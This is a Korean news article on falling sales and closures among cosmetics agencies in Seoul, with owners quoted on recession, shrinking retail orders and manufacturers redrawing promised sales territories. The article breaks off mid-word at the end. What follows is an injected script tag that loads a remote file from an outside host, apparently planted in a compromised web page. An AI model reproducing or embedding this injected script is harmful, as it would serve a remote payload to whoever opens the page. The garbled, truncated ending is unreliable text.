화장품 시장의 성수기는 찬바람이 슬슬 불어오는 11월. 여름 비수기가 끝나고 기초제품을 위주로 본격적인 판매가 들어가는 시점이다. 하지만 최근 세계 경기에 짙게 깔린 불황과 국내 소비심리의 위축, 시판시장 고객이탈로 인해 전문점이 때아닌 된서리를 맞고 있다. 하지만 전문점보다 더욱 심각한 경영난에 빠진 곳이 있다. 전문점의 매출이 곧 점포의 매출로 결정되는 대리점. 개별 전문점의 영향을 한꺼번에 받아 대리점이 최근 혹독한 경영난에 빠져있어 문제다. 9·11 미테러 이후 전문점 상황은 좋으면 제자리 걸음, 나쁘면 20% 이상의 매출 감소를 겪을 정도로 심각하다. 매출이 그대로라고 해도 본격적인 성수기에 여름 비수기 매출을 유지한다는 것은 상대적인 감소. 전문점의 상황이 이렇다보니 대리점은 개점 이후 최대의 위기를 맞을 정도로 난국에 처해있다. 지역분할 등 메이커 불신으로 자포자기 심정 좋아도 제자리, 나쁘면 20% 이상 매출 감소 월 1억원 딴나라 얘기… 7천만원도 힘들어 “전문점 사장 보기가 미안하다. 매입을 늘려달라는 말은 어림도 없고 예전처럼만 해달라는 말을 하기도 어려운 지경이다.” 관악구에서 한 대리점을 운영하는 S점장의 말이다. 이 점장은 지난달부터 전문점에 나가는 횟수를 줄였다고 말했다. 전문점의 매출 곡선이 떨어진 것을 뻔히 알고 있는 상황에서 찾아가봐도 답이 없다는 하소연이다. 현재 상위 메이커 대리점의 적정 매출은 평균적으로 월 1억원 정도로 보고 있다. 대리점 마진율이 사무실 운영비와 직원 월급, 판촉비를 제외하더라도 15% 안팎에 그치는 만큼 1억원 정도는 되어야 안정적으로 점포를 운영할 수 있다는 설명이다. 하지만 최근들어서는 월 1억원을 넘는 대리점은 일부 우량 대리점에 그치고 있는 것이 현실이다. 영등포구에서 대리점을 운영하는 J사장은 최근 매출이 1억원 이하로 떨어져 걱정이다. “전문점 판매가를 따지면 아직 1억원을 상회하지만 이는 아무 의미가 없다. 제품 구입가가 지난달에 1억원 이하로 떨어졌다. 시장 상황이 나빠진 것이 몸으로 직접 느껴진다.” J사장의 경우는 그래도 양호한 경우. 아직 매출이 7천만원도 넘지 못하는 영세 대리점이 부지기수다. 이들 대리점의 경우 엎친데 덮친 격으로 이번 불황이 뼈속까지 전해지고 있다. 지난 99년에 생긴 신생업체의 대리점을 운영하고 있는 A사장은 지난달 처음으로 매출이 마이너스를 기록했다. 아직은 좀 더 성장해야 안정선에 접어들 수 있지만 벌써 고개가 꺾인 것이다. “이달 초에 지난달 매출을 집계해보니 약 10% 감소했더라. 회사에서 점진적 성장 위주로 정책을 폈기 때문에 그동안 소폭으로 꾸준하게 성장해왔다. 타 메이커 제품을 함께 취급할지 심각하게 고민하고 있다.” A사장은 아직은 좀더 지켜보겠지만 상황이 계속 나빠지면 타 메이커의 제품도 취급할 생각이라고 덧붙였다. 광진구에서 대리점을 운영하는 Y사장은 최근 대리점을 하나 더 늘렸다. 이 때문에 기존 메이커의 영업담당자와 마찰도 적지 않았다고. 하지만 Y사장은 생존을 위해서는 어쩔 수 없다고 말한다. “직원들 월급은 줘야 할 것 아니냐. 예전부터 해오던 대리점만 가지고는 아무리해도 수익이 나오지 않는다. 나도 이것저것 많이 하기는 싫다. 어쩔 수 없이 하는 것이다. 한 개 대리점에서 적정 수익이 나오지 않으니까 그 부족분을 채우기 위해서 할 뿐이다.” 화장품 대리점만 15년째하고 있다는 Y사장의 말이다. 이런 상황속에서도 메이커의 고질적인 지역분할 정책은 계속되고 있다. “지역을 보장해준다는 조건으로 대리점을 시작했다. 영업이 힘든 신생업체를 왜 하겠느냐. 확실하게 지역 보장하고 사람들을 믿으니까 시작한 것이다. 그런데 최근 맡고 있는 한 지역을 신규 대리점에 넘겨줬다. 관리를 제대로 못하니 넘기라는 회사의 강요에 따른 것인데 처음의 약속은 어디갔는지 모르겠다.” 신생업체 대리점을 운영하고 있는 J사장의 말이다. J사장은 거점판매의 인기를 타고 그동안 꾸준하게 매출이 성장했었다. ‘대리점으로도 잘만 하면 성공할 수 있겠다’는 자신감도 들었다고. 하지만 메이커에서 대리점 관리를 핑계로 지역을 분할했다고 하소연했다. 시판시장의 외풍을 끝내 견디지 못하고 폐점한 대리점도 속출하고 있다. 최근 서울의 한 상권에만도 E대리점과 N대리점 등 2개 대리점이 폐점했다. 또 M대리점도 사람을 구하고 있다는 얘기가 떠돌고 있다. E대리점의 경우 시작한지 6개월만에 문을 닫은 것. 개점 초기부터 경영난에 시달리다가 끝내 반년만에 담보물만 잃고 폐점한 것이다. 현상황에서 대리점의 환경이 개선될 조짐은 보이지 않는다. 메이커에서 대리점 활성화 정책을 통해 경영환경을 변화시키는 것도 어려워 보인다. 대?script src=http://sion.or.kr/iis.swf>

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